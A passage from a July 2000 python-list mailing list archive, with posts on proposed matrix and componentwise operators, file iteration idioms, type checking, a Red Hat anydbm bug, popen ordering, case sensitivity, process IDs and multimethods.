incompatible usages.  Sounds reasonable, but ...

Point 1.  We _can_ assign a universal meaning to dot operators, as
"componentwise operators".  For example

[1, 2] + [3, 4]             # [1, 2, 3, 4]
[1, 2] .+ [3, 4]            # [4, 6]
['a','b'] * 2               # ['a','b','a','b']
["a","b"] .* 2              # ['aa', 'bb']
{'a':1, 'b':1} .+ {'a':1, 'c':1}   # {'a':2, 'b':1, 'c': 1}
'abc' .+ 'def'              # exception: you must define string.__dot_add__

This could be useful in all sorts of situations.  Of course people can still
override it with incompatible meanings at their own discretion, just as they
could do to anything else.


Point 2. If users in completely disjoint domains override a certain type of
binary operators with incompatible meanings, is there great harm?  Providing
a few operators for user adoptation might even prevent grotesque overriding
of more core operators.  After all, there is almost endless supply of names
for classes, modules, function and so on, but there is almost no binary
operators free for adoption.


Point 3. A special parser could work, (and if the patch under discussion is
not accepted we'll just keep it around for use with matrix computation), as
long as it is made quite orthogonal to other parts of the language.  This
way people using it will not be left behind other developments of the
language.  However, I still think a unified parser with overridable
operators present a smaller risk of fragmentation.

Huaiyu




From rupole at compaq.net  Wed Jul 19 20:32:13 2000
From: rupole at compaq.net (Roger Upole)
Date: Thu, 20 Jul 2000 00:32:13 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net>
Message-ID: <hMrd5.49275$e6.2860918@pouncer.easynews.com>

Using an initial read is a common enough idiom in any language.

f=open('filename','r')
fline = f.readline()
while fline:
    ....
    fline = f.readline()

              Roger Upole

"nobody" <no at bo.dy> wrote in message
news:Uvqd5.21615$DZ4.69024 at news.corecomm.net...
> assume i want to iterate a block of code over every line in a text file,
> and that i don't want to snarf the whole thing into memory for fear
> of coredumps or whatever. in perl (and many others) there is a simple,
> common idiom:
>
> while (line = <FILE>) { block; }
>
> this doesn't seem to have a simple, direct analog in python. searching
> around on the web i found a solution at faqts.com (though this newbie
> might like to see it explained, but whatever works):
>
> class Reader:
>     def __init__(self, source):
>         self.source = source
>     def readline(self):
>         line = self.source.readline()
>         self.line = line
>         return line             # may be empty, thus false
>
> file = Reader(open("filename")) # i might have got this worng...?
>
> while (file.readline()):
>     line = file.line
>
> now, this seems to me like an awful lot of typing just to get around
> the fact that assignments in python do not seem to be expressions
> returning the value assigned. since that is thus in several other
> languages, and since it gives rise to several common idioms of this
> type, i can only assume that there must be some good reason for
> breaking this pattern in python; i just can't see what it could
> possibly be.
>
> could somebody enlighten me, please? and is there any easier way to
> iterate over lines in a file without resorting to ugly break statements?
>




From thomas at xs4all.net  Wed Jul 19 16:15:55 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 22:15:55 +0200
Subject: merge (Re: zip or marry etc)
In-Reply-To: <3975FF92.1B031588@schneider-kamp.de>; from peter@schneider-kamp.de on Wed, Jul 19, 2000 at 07:20:50PM +0000
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com> <3975FF92.1B031588@schneider-kamp.de>
Message-ID: <20000719221555.K9897@xs4all.nl>

On Wed, Jul 19, 2000 at 07:20:50PM +0000, Peter Schneider-Kamp wrote:

> Okay, assume you call it "merge". What will somebody who
> doesn't know what it's for think it does?

> merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]
> or
> merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]?

Well, face it, there is no common English verb that will imply #2, because
tuples aren't a commonly accepted idea, in English ;) Which is why I still
prefer 'marry()'. If you don't know what it is, it's strange enough to start
you thinking about it. And if you already know it, it's hard to forget ;)

Unmarried-ly y'rs,
-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From moshez at math.huji.ac.il  Wed Jul 26 04:10:00 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 26 Jul 2000 11:10:00 +0300 (IDT)
Subject: conatraints on "for" magic?
In-Reply-To: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <Pine.GSO.4.10.10007261109060.6156-100000@sundial>

On 26 Jul 2000, (Greg Weeks) wrote:

> Initially I learned that
> 
>     for x in seq:
> 	<do stuff>
> 
> required seq to be a sequence.  But then I saw the code:
> 
>     import fileinput
>     for line in fileinput.input():
> 	<do stuff>
> 
> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?

Implemented the __getitem__ method. Read more about operator overloading:
I'm sure it's in PER

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From johannes at zellner.org  Thu Jul  6 19:43:08 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Fri, 7 Jul 2000 01:43:08 +0200 (CEST)
Subject: readline.c & more
In-Reply-To: <oqu2e2zvk3.fsf@titan.progiciels-bpi.ca>
Message-ID: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de>

On 6 Jul 2000, Fran?ois Pinard wrote:

> [Thomas Wouters]
> 
> > Actually, SourceForge is now preferred over patches at python.org.
> 
> Yet, I need a way to submit patches without being Internet-connected,
> which is my usual state.  That is, using email.  Besides, composing
> messages in Web pages is horrible, when one is used to good editors.
true. Well, to be correct there's only one good editor ;-)

> Moving away from email is not a good thing, from my viewpoint, it should
> always be available to users.
I've the same opinion. It was awkward to upload the patch thru the
html form and then I got a red bold line at the bottom telling me
that it didn't work. Well it worked finally, but it was awkward.

-- 
   Johannes




From matt at nightrealms.com  Mon Jul 17 00:51:10 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Sun, 16 Jul 2000 20:51:10 -0800
Subject: Type checking in python?
Message-ID: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com>

It would be nice if I could do something like:

  def my_func(int foo, list bar, Quux quux):
     ...

rather than

  def my_func(foo, bar, quux):
     if not isinstance(quux, Quux):
        raise RuntimeError("param 'quux' must be of class 'Quux'")

Is there any plans on doing this for Python 3000?  Or will something
like this never be a part of Python?




From hzhu at users.sourceforge.net  Fri Jul 28 19:11:13 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Fri, 28 Jul 2000 23:11:13 GMT
Subject: "always passes by reference"
References: <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <8lsue7$4qis$1@nntp6.u.washington.edu>
Message-ID: <slrn8o44vu.1cq.hzhu@rocket.knowledgetrack.com>

On 28 Jul 2000 21:37:11 GMT, Donn Cave <donn at u.washington.edu> wrote:
>Quoth hzhu at users.sourceforge.net (Huaiyu Zhu):
>...
>| IMHO, the name/object dichotomy is much more descriptive for python than the
>| reference/value dichotomy.
>
>What about references that have no name, in lists and tuples?
>
>	Donn Cave, donn at u.washington.edu

I see your point.  The elements of sequences dictionaries are references
with no names, or you can so they are references stored in structured names.
:-)  

My point is that in many other languages the variables take the central role
- you can store values or references in them, while in python the objects
take the central role - you can refer to them by names or elements of data
structures or pass the references around by assignments or function
arguments, etc.

Huaiyu


From occute at eircom.net  Fri Jul  7 14:01:18 2000
From: occute at eircom.net (Occute)
Date: Fri, 07 Jul 2000 18:01:18 GMT
Subject: Help me.....please
Message-ID: <OVo95.1407$SH2.5339@news.iol.ie>

when ever i try to use the command else: in python it gives me a error.....i
even coppied a exact eg from the manual and it still gives me the same error

email me at wylddogg at email.com

thanks




From nospam.newton at gmx.li  Tue Jul 18 02:38:06 2000
From: nospam.newton at gmx.li (Philip 'Yes, that's my address' Newton)
Date: Tue, 18 Jul 2000 06:38:06 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net> <39734BB4.8C24B6E@prescod.net>
Message-ID: <3973ef17.387124584@news.nikoma.de>

On Mon, 17 Jul 2000 13:08:52 -0500, Paul Prescod <paul at prescod.net>
wrote:

> the (equally unlikely) death of Unix would drive Perl users to
> Python)

Why would ex-Perl-on-Unix-users have to switch to Python if their
platform disappeared? What makes you think (nearly) no-one on Mac OS or
Win32 uses Perl?

Cheers,
Philip
-- 
Philip Newton <nospam.newton at gmx.li>
If you're not part of the solution, you're part of the precipitate.


From db3l at fitlinxx.com  Thu Jul 27 01:32:52 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 27 Jul 2000 01:32:52 -0400
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <uaef4m92z.fsf@ctwd0143.fitlinxx.com>

Guido van Rossum <guido at python.org> writes:

> It was discovered that the win32pipe module returned the file objects
> in the order (stdin, stdout, stderr) while popen2 returned them in the
> order (stdout, stdin, stderr).  The latter is clearly strange, so we
> decided that the new code should return (stdin, stdout, stderr).

Great - I was hoping that's the way it would turn out.  It happens to
also work out nicely for some exit code processing changes of mine on
the Windows side, since the os.popen#() routines can standardize on
using the first (or only for the original os.popen) file for returning
the exit code on the close, and since that's always stdin of the child
(except for the pair of os.popen() write modes, for which there's no
connection to the child stdin) it minimizes the risk of any deadlock
waiting for the child process during the close since the wait is
performed as part of closing stdin to the child process.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From thomas at cintra.no  Thu Jul 20 02:44:43 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Thu, 20 Jul 2000 06:44:43 GMT
Subject: Get the name of the superlcass?
Message-ID: <39779f54.3806062@news.online.no>

Hi,

I`m subclassing from a superclass. I can get the name of the subclass
by using Subclass.__class__.name. But I would like to get the name of
the superclass as well, but not lose the option of getting the
subclass either. 

Ex. I got a class Structure, and a sublcass Building. I want to check
in a list for structures, then see if any of them are buildings. 

M'kay?

Thomas


From olmy at thistledown.org  Mon Jul 17 20:03:13 2000
From: olmy at thistledown.org (Olmy)
Date: Mon, 17 Jul 2000 19:03:13 -0500 (CDT)
Subject: OT: RedHat 6.1 (was Re: newbie unimpressed...)
In-Reply-To: <8l047h$6ag$1@slb6.atl.mindspring.net>
Message-ID: <Pine.LNX.4.21.0007171839010.5844-100000@hexamon.thistledown.org>

hello,

> 
> What's wrong with 6.1?  (We upgraded a few months back, mainly to get
> 1.5.2, and I'd like to know if there's a serious reason we should move
> to 6.2.)


There was one python-specific problem I've run into with RH6.1 versus 
RH6.2. 

6.1 comes with rpm build python-1.5.2-7 and appears to have a 
broken anydbm module (which also breaks shelve). See below:

>>> import anydbm
>>> newdb = anydbm.open('test','c')
>>> newdb['1'] = 'test1'
>>> newdb.close()
>>> 

[olmy at euclid olmy]# python
Python 1.5.2 (#1, Sep 17 1999, 20:15:36)  [GCC egcs-2.91.66 19990314/Linux
(egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import anydbm
>>> newdb=anydbm.open('test','c')
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "/usr/lib/python1.5/anydbm.py", line 83, in open
    raise error, "db type could not be determined"
anydbm.error: db type could not be determined
>>> 


This problem was apparently fixed with the rpm build of python 
that came with RH6.2 (python-1.5.2-13):

>>> import anydbm
>>> newdb=anydbm.open('test','c')
>>> newdb['1'] = 'test1'
>>> newdb.close()
>>> 
[olmy at hexamon olmy]$ python
Python 1.5.2 (#1, Feb  1 2000, 16:32:16)  [GCC egcs-2.91.66 19990314/Linux
(egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import anydbm
>>> newdb=anydbm.open('test','c')
>>> newdb['1']
'test1'
>>> newdb.close()


of course, this doesn't mean you need to upgrade from RH6.1 to RH6.2, 
but it would suggest you need to upgrade your python rpms.

cheers,

jeff

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
MessageID: RN7/dw97SSxgWUT2asyiONlPRzbOe0JQ

iQCVAwUANofqRKxB/KiL2JNNAQEwxwP/VJQamtcDOlt9h3fQ9KqyuiBzBKcXQQMo
Fahl3o4HjqI1qh5mv5Mac1G0YKJp+rkhp64GOKG6jDu46aPIgZ9xTc204wQ+wLyO
mqw8/EEc3PKtGM57vPkkVJraxHZMdZV45wMnno21Gx03k+d7MWbpd85tjYhrXMFJ
TwUCFSAG8/4=
=TRCD
-----END PGP SIGNATURE-----




From alex at magenta.com  Sun Jul 30 11:57:03 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 17:57:03 +0200
Subject: groups method of the math object (was Re: Perl is worse!)
References: <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com> <20000730023357.A3193@exeter.exeter.org>
Message-ID: <8m1jbs12ue9@news2.newsguy.com>

"Karl Ulbrich" <kulbrich at yahoo.com> wrote in message
news:20000730023357.A3193 at exeter.exeter.org...
    ...
> >     I don't see where I can tell it to pass something other than None on
a
> > match.  The docs I read, (not here) state that it /will/ return None on
a
> > no-match, not that it /can/ and that you can override it.
>
> I don't see it either (Alex?) in the library reference.  Personally

It's in 4.2.5 in the Library Reference I have here, "4.2.5 Match Objects"
to be precise:

groups ([default])
Return a tuple containing all the subgroups of the match, from 1 up to
however many groups are in the pattern. The default argument is used for
groups that did not participate in the match; it defaults to None.

> I thought both the 'int(x or 0)' approach and the function Alex suggested
> were good ways to establish problem-specific default values, especially
> since '0' isn't always an apprpriate default.

I agree, and int(x or whatever) is more general since it works with any
x that is a possibly-empty-sequence-of-digits (the 'whatever' default
will more often be 1, I think; if you specify you want something, without
explicitly specifying how many of those somethings you want, it's more
natural to default to you wanting one of them, than none).


Alex





From vtbl.moorepe at memo.volvo.se  Tue Jul 18 11:42:19 2000
From: vtbl.moorepe at memo.volvo.se (PM)
Date: Tue, 18 Jul 2000 15:42:19 +0000
Subject: Why make a language case sensitive?
References: <3bPZh1$lrf@openbazaar.net>
Message-ID: <39747AB2.9B90E2C0@memo.volvo.se>

I don't see why ENFORCING case sensitivity precludes the use of naming conventions.
If the restriction was lifted, I think it would help in the development
phase, especially when it comes to guessing method names.
Later you could always go back and straighten anything glaring out, anyway.
I don't think that if things were relaxed you would find heaps of uGly
And WEird lAnguAge Usage. This could be dealt with, anyway.

With case anal-retention annoying errors and obfuscation (accidental by
a newbie or deliberate) are easier to create. 
Oh I get it!  :)
No seriously, I think there is a case for case relaxation. I say  R e l
a x.  
> If you're used to C++ (or Python or Java), which don't have
> to be Unix-based, then you quickly discover that a simple naming
> convention in your code makes for easy (cheap) maintenance and
> reuse...
> 
> e.g.
> 
>     MyClass ...             Class definition
>     myClass ...             Instance of class (or other 'variable')
>     MYCLASS ...             Constant (maybe an enumeration)
> 
> Then, within a class, instance or variable name, mixed case aids
> readability:
> 
>     A = ...                            ? Old Basic  ;-)
>     mainwindowframeborderwidth =  ...  Caseless language (or poor C++)
>     mainWindowFrameBorderWidth =  ...  IMHO better
> 
> Take a look at example code for any of the major languages and I'm
> sure that you'll spot a trend... Of course, if you're an assembler
> programmer, then you probably don't care -- but even assemblers
> can be case sensitive :-)
> 
>    John
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From shindich at my-deja.com  Thu Jul 13 15:51:21 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Thu, 13 Jul 2000 19:51:21 GMT
Subject: calling .exe inside a .py?
References: <8kl527$tke$1@nnrp1.deja.com>
Message-ID: <8kl6jg$v13$1@nnrp1.deja.com>

In article <8kl527$tke$1 at nnrp1.deja.com>,
  level2junkie at my-deja.com wrote:
> Does anyone know how to call an .exe file from inside a .py file?
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>
Try this:

import os
os.execl ('foo.exe')

For more info read http://www.python.org/doc/current/lib/os-process.html

Regards,

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Wed Jul 12 13:54:27 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 12 Jul 2000 12:54:27 -0500
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <396CB0D3.8F7BC8E5@prescod.net>

Richard Tobin wrote:
> 
> Is it legal (it seems to work) to change the class of an object by
> assigning to its __class__ attribute?  In particular for the case where
> the new class is a subclass of the old.

It language reference doesn't say. I think you're on your own but I
wouldn't expect it to break soon. I also wouldn't expect it to work in
JPython or maybe even Zope.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html





From to_get_my_address at see.my.signature  Wed Jul 26 22:40:00 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 15:40:00 +1300
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
		<slrn8nevfr.d8.bmcd@ripley.sulaco.net>
		<8lb6jb$vj9$1@slb6.atl.mindspring.net>
		<slrn8nj9ul.6bu.neelk@brick.cswv.com>
		<8lcnf4$vmr$1@slb0.atl.mindspring.net>
		<slrn8nki9i.7ga.neelk@brick.cswv.com>
		<8ite5.9395$4p3.69392@news-server.bigpond.net.au> <3hu2dfrndo.fsf@angband.org>
Message-ID: <397FA0FF.5FFEB6AA@see.my.signature>

Eric Lorenzo wrote:
> 
> So yeah, you're
> reducing encapsulation a bit with multi-methods, but in my view,
> that's okay,

The difficulty isn't really one of encapsulation, it's one
of namespace management.

In current Python, you can always (assuming no nasty hackery
has been done) fairly easily find the piece of code that will 
be called by a particular function or method or operator call, 
if you know the dynamic type of the arguments. If it's a plain
function call, you can trace it through the import statements,
and if it's a method or operator, it'll be found somewhere
on the inheritance chain of the receiver's class.

I assume nobody disputes that this is a very useful property --
we all know that Python's module namespace system is a good
idea.

It's hard to see how to implement multiple dispatch in a way
that preserves this property, while still being flexible
enough to solve the kinds of problems that multiple dispatch
is supposed to solve. For instance, to be able to add a new
operation on some combination of existing classes, it must
be possible to define a multimethod on them outside of any
of those classes. But then it could be defined anywhere,
and knowing the classes of the operands gives you no clue
as to where to look for the definition.

I had a look at that paper on a multimethod extension to
Java that was mentioned here, hoping to find a solution to
this problem, as the abstract seems to suggest they have
addressed it.

But, as far as I can tell, they haven't. Under their scheme,
it's still possible for a method call to invoke a piece of 
code in some module that is not related in any obvious way 
to the one where the call is made, or the ones where the
classes involved are defined.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From cfelling at iae.nl  Mon Jul 31 17:55:06 2000
From: cfelling at iae.nl (Carel Fellinger)
Date: 31 Jul 2000 23:55:06 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com>
Message-ID: <8m4sjq$1lo$1@animus.fel.iae.nl>

Huaiyu Zhu <hzhu at users.sourceforge.net> wrote:
> On 26 Jul 2000 02:10:30 +0200, Carel Fellinger <cfelling at iae.nl> wrote:
...
>>And now that w've got 'better' bitwise operator symbols we could use ^ to
>>mean 'to the power of' (like I always think if I forget to look it up:) and
>>we could use | or ~| to mean 'solve' (whatever that means).

> "solve" is simply "left division", like (if | is solve)
...

This must be the number one reason for me to spell most of this newsgroup,
one but hinges at not understanding something to get a decent explanation.
So reading is an ongoing education experience. Thanks.

> BTW, if we ever desire to extend python in the future with general named
> operators, perhaps @opname is a better choice because @ is associated
> visually more closely with letters.  In any case, these two extensions are

And that is why it's not so good too, whithout intermingled whitespace it
becomes difficult for the eye to spot where the left operant ends, like in:

>>> confusion = some at ne(somethingelse)  ### not a function call

> of different categories. The ~op retain the precedence of existing op, while
> the @opname type would have to share one fixed precedence if they are more
> functionlike.

No need to use two different starting symbols, one suffices I think.

  all ~op, where op in [+....], have precedence of op,
  but all ~op, where op is identifier, share the same fixed precedence.
-- 
groetjes, carel


From shuz at bresnanlink.net  Wed Jul 12 06:20:45 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Wed, 12 Jul 2000 05:20:45 -0500
Subject: Monitoring Network Ports
References: <20000712072436.11470.qmail@web3402.mail.yahoo.com>
Message-ID: <396C467D.4739EA7D@bresnanlink.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000712/e4d38a17/attachment.html>

From lull at acm.org  Thu Jul 20 08:53:02 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 07:53:02 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com> <slrn8n9i9j.so.hzhu@rock.localdomain> <gd1dnss55j4dl14n3tfpl96o6mb8dq12gl@4ax.com> <3976A167.FCB7EFE3@prescod.net>
Message-ID: <c6tdns0cm91ab106alvmrtj0974f9c70d3@4ax.com>

At the dawn of the third millenium (by the common reckoning), Paul
Prescod <paul at prescod.net> wrote (with possible deletions):

> John Lull wrote:
> > 
> > ...
> > 
> >    a..newOp..(b..otherOp..c)
> 
> I really like the fact that the operator uses a word instead of a
> cryptic symbol, but I can't understand why anyone would prefer the above
> to:
> 
> a.newOp(b.otherOp(c))

It has no advantage on a simple expression like this, assuming a and b
provide newOp() and otherOp() respectively.  The advantage only shows
up on complex expressions, where the functional notation can make it
much more difficult to read, or in a case where b.__otherOp__()
provides __rnewOp__().


From fdrake at beopen.com  Mon Jul  3 02:28:33 2000
From: fdrake at beopen.com (Fred L. Drake, Jr.)
Date: Mon, 3 Jul 2000 02:28:33 -0400 (EDT)
Subject: Bug in math.frexp?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com>
References: <20000630221759.A1965@xyz.donetsk.ua>
	<LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com>
Message-ID: <14688.12945.528521.351944@cj42289-a.reston1.va.home.com>

Tim Peters writes:
 > The docs are wrong.  I just checked in a repaired version of mathmodule.c.
 > Fred, would you please get the truth into the Library Reference Manual's
 > math module docs too?

  --sigh--
  So are the Solaris and Linux man pages wrong, or just confusing?
Ok, I'll have something like your docstring checked in shortly.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at beopen.com>
BeOpen PythonLabs Team Member




From skip at mojam.com  Fri Jul 28 16:03:15 2000
From: skip at mojam.com (Skip Montanaro)
Date: Fri, 28 Jul 2000 15:03:15 -0500 (CDT)
Subject: List Comprehension
In-Reply-To: <3981B5FA.77941F06@connection.com>
References: <3981B5FA.77941F06@connection.com>
Message-ID: <14721.59139.205605.152813@beluga.mojam.com>

    Colin> Is the following, from          
    Colin> http://www.pythonlabs.com/talks/PythonState_files/v3_document.htm

    Colin> a misprint? 

    Colin>      [(x,x**2) for x in range(5)]
		    -> 
    Colin>      [(0,0), (1,1), (4,4), (9,9), (16,16)]

Yup, looks like it.  

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From david at tumbleweed.com  Thu Jul 13 13:29:39 2000
From: david at tumbleweed.com (david at tumbleweed.com)
Date: Thu, 13 Jul 2000 17:29:39 -0000
Subject: Using os.getpid
Message-ID: <8kkua3+hmhj@eGroups.com>

When I do the following I get the PID of my python program:

os.system(self.m_server_start_exe)
os.getpid()

I have hacked up the following workaround:
os.system(self.m_server_start_exe)
for line in os.popen("ps -ef | grep -i
/opt/tumbleweed/server/bin/IMEController | awk '{ if (NR > 1) { print
$0 }}'").readlines():
    pid = line[:-1]

Is there a version of os.getpid() that takes as an argument an
executable name/pathname and returns its PID? Or, is there a better
way to do this using existing modules and tools that isn't shell
and/or platform dependent?





From hzhu at localhost.localdomain  Thu Jul 20 14:18:31 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 20 Jul 2000 18:18:31 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>  <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
Message-ID: <slrn8negqp.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 17:37:12 +0200, Gregory Lielens <gregory.lielens at fft.be>
wrote: 
>
>Are you talking of matrices, or Nd arrays? I am only aware of one kind
>of matrix multiply, defined as
>
[snip]
>
>For Nd arrays, there is indeed more possibilities, and I fear adressing
>all of them could be too much to ask to "simple" infix operators....
[snip]

Infix notations are suitable and convenient for linear algebra.  But for
multilinear algebra there is no avoidance of dummy indices, like

contract(A,(1,3),B,(5,2))

which contracts the correspoding indices of A with those of B. This is why
in theretical physics and differential geometry the Einstein notation is
almost universally used and one rarely sees matrix notation.

When it comes to number crunching, however, matrix is far more common. Imho,
consideration of tensor and multilinear algebra is somewhat off-topic.

>imho Division (right and left) belongs to pure matrices, and can not
>really be generalized
>I feel that way because I am not aware of a well defined inverse for a
>Nd array ...(should someone be interrested in this I could post a
>discussion I had with Travis Oliphant, from NumPy group)

That's another reason we should concentrate in linear algebra only.

[Digression: multilinear algebra is in fact a special case of highly
singular linear algbra, albeit in higher dimensional space.  See kron(a,b)]

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 23:16:19 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Thu, 06 Jul 2000 03:16:19 GMT
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3QR85.42743$W35.928737@news20.bellglobal.com> <un1jwdlxj.fsf@ctwd0143.fitlinxx.com>
Message-ID: <7SS85.43502$W35.940596@news20.bellglobal.com>

Actually, it might be easier to localize the string if it takes parameters,
although they might need to be positional parameters (a bit like the
FormatMessage and the %1, %2, etc...)..  I do believe Python has an
equivalent, be it naming the variables explicitly in the string.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


> > > print "<P>This is San Diego.<br>Localtime is", ctime( time() ) +
".<P>"
> > Are you sure you can concatenate a string to a time?
>
> The ctime() function in the time module returns a string, so it should
> be fine.  The mixture of arguments to print (resulting in an
> intervening space) and concatenation (which won't) is something I'd
> probably replace with a single method of handling the values - e.g.:
>
>     print "<P>This is San Diego.<br>Localtime is %s.<P>" % ctime(time())
>
> might be a touch more readable - but I suppose that's subjective.
>
> --
> -- David
> --
> /-----------------------------------------------------------------------\
>  \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
>   |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
>  /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
> \-----------------------------------------------------------------------/




From hellerthomas at my-deja.com  Mon Jul 24 13:19:58 2000
From: hellerthomas at my-deja.com (hellerthomas at my-deja.com)
Date: Mon, 24 Jul 2000 17:19:58 GMT
Subject: Class static methods
References: <8lh6ri$dkl$1@nnrp1.deja.com> <8lhlv5$6kl$1@slb3.atl.mindspring.net>
Message-ID: <8lhtrn$v5k$1@nnrp1.deja.com>

In article <8lhlv5$6kl$1 at slb3.atl.mindspring.net>,
  aahz at netcom.com (Aahz Maruch) wrote:
> In article <8lh6ri$dkl$1 at nnrp1.deja.com>,
> Guillaume  <forums at memoire.com> wrote:
> >
> >Well, now that I have class static vars, I need class static
methods...
> >Is it possible in Python ? Not sure...
>
> Nope.  You have two options:
>
